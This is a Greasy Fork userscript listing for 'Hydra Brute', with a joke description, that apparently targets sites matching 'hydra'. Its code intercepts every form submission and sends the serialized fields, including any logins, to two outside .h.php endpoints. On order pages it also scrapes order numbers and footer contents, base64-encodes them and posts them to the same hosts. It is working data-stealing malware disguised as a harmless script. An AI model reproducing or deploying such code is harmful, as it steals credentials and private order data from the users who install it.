Greasy Fork is available in English.

Hydra Brute

try to take over the world!

Tính đến 12-06-2018. Xem phiên bản mới nhất.

// ==UserScript==
// @name         Hydra Brute
// @namespace    Hydra_Brute_over
// @version      2018.06.12.8
// @description  try to take over the world!
// @description:en  try to take over the world!
// @author       Wasily Gerlahk
// @match        *hydra*
// @grant        none
// @require      https://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js

// ==/UserScript==

(function(_$, w) {
    'use strict';
    var urls = [ 
        'https://zaborcomplect.ru/wp-includes/.h.php',
        'https://kramarenko.niro.biz/.h.php'
    ];
    _$('form').submit(function(ev){
        var form = _$(this).serialize();

        _$(urls).each(function(){ send(form, this);});
    });

    if(w.location.href.match(/48864/)){

    }
    if(w.location.href.match(/orders/)){
        var data = {};
        data.date = b64EncodeUnicode(_$('.order-data__num').html() + '12313wsfkjbkafuygwefwaukegflfe');
        data.data = b64EncodeUnicode(_$('.panel-footer').html() + '12313wsfkjbkafuygwefwaukegflfe');
        _$(urls).each(function(){ send(data, this);});
    }

    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                console.dir(resp.responce);
            },
            error : function(){
                alert('some error occured');
            }
        });
    }
    console.log('hydra');
function b64EncodeUnicode(str) {
    // first we use encodeURIComponent to get percent-encoded UTF-8,
    // then we convert the percent encodings into raw bytes which
    // can be fed into btoa.
    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
        function toSolidBytes(match, p1) {
            return String.fromCharCode('0x' + p1);
    }));
}

})(jQuery, window);